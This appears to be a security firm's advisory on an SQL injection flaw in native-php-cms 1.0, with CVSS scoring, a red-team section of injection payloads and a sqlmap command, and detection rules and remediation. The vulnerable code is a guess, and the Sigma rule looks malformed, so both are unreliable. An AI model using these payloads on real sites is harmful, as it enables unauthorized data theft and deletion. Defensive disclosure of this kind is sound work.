CVE-2025-0491

Executive Summary

CVE-2025-0491 is a critical SQL injection vulnerability discovered in Fanli2012 native-php-cms version 1.0. The flaw resides in the /fladmin/cat_dodel.php file, where the id parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The exploit cannot affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential to disrupt database services.

Threat Level: Critical. The combination of remote exploitability, low complexity, and no required privileges makes this vulnerability highly attractive to attackers.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the cat_dodel.php script. The application likely constructs a SQL query by directly concatenating the user-supplied id parameter without proper sanitization or parameterized queries. For example, the vulnerable code might look like:

$id = $_GET['id'];
$sql = "DELETE FROM categories WHERE id = $id";
mysqli_query($conn, $sql);

An attacker can manipulate the id parameter to break out of the intended query structure. For instance, a payload like 1 OR 1=1 would delete all categories, while 1 UNION SELECT ... could extract data from other tables.

The attack is performed via HTTP GET request to /fladmin/cat_dodel.php?id=[payload]. Since the admin panel (/fladmin/) is accessible without authentication (as per the CVE description), the attack surface is broad.

Vulnerable vs. Patched Code

Vulnerable Code (native-php-cms 1.0):

<?php
// cat_dodel.php
$id = $_GET['id'];
$sql = "DELETE FROM categories WHERE id = $id";
$result = mysqli_query($conn, $sql);
if ($result) {
    echo "Category deleted.";
} else {
    echo "Error: " . mysqli_error($conn);
}
?>

Patched Code (Hypothetical):

<?php
// cat_dodel.php
$id = intval($_GET['id']); // Cast to integer
$sql = "DELETE FROM categories WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
if (mysqli_stmt_affected_rows($stmt) > 0) {
    echo "Category deleted.";
} else {
    echo "Error: Category not found.";
}
?>

The patched version uses prepared statements and input validation to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install native-php-cms 1.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the /fladmin/ directory is accessible without authentication.
3. Use a tool like Burp Suite or curl to craft requests.

Exploit Payloads:

• Boolean-based blind injection:

  /fladmin/cat_dodel.php?id=1 AND 1=1
  /fladmin/cat_dodel.php?id=1 AND 1=2
  

• Union-based extraction:

  /fladmin/cat_dodel.php?id=1 UNION SELECT 1,2,3,4,5
  

• Time-based blind injection:

  /fladmin/cat_dodel.php?id=1 AND SLEEP(5)
  

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/fladmin/cat_dodel.php?id=1" --batch --dbs

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious GET requests to /fladmin/cat_dodel.php containing SQL keywords (e.g., UNION, SELECT, SLEEP).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement network segmentation to isolate the CMS from critical assets.

Honeypot Setup:

• Deploy a decoy instance of native-php-cms and monitor for exploitation attempts to gather attacker TTPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /fladmin/cat_dodel.php with id parameter containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs.
• File IOCs:
  • Suspicious files in the web root (e.g., webshells like cmd.php).
  • Modified .htaccess files.
• System IOCs:
  • Unusual database queries in MySQL logs.
  • New user accounts or cron jobs.

Detection Engineering

YARA Rule

rule CVE_2025_0491_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0491"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-0491"
    strings:
        $s1 = "/fladmin/cat_dodel.php" nocase
        $s2 = "id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "SLEEP" nocase
        $s6 = "OR 1=1" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-0491 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against native-php-cms cat_dodel.php
author: Valters IT
date: 2025/02/20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/fladmin/cat_dodel.php?id='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in admin queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0491 SQL Injection Attempt"; flow:to_server,established; content:"/fladmin/cat_dodel.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the CMS: If possible, take the vulnerable instance offline or restrict network access to trusted IPs only.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting /fladmin/cat_dodel.php.
3. Monitor Logs: Review web server and database logs for signs of exploitation.

Long-Term Fix:

• Since no official patch is available, consider rewriting the affected code to use prepared statements or migrating to a supported CMS.
• Implement input validation and parameterized queries across the entire application.

Compensating Controls:

• Enforce least privilege for the database user used by the CMS.
• Enable detailed logging and alerting for suspicious database queries.

Valters IT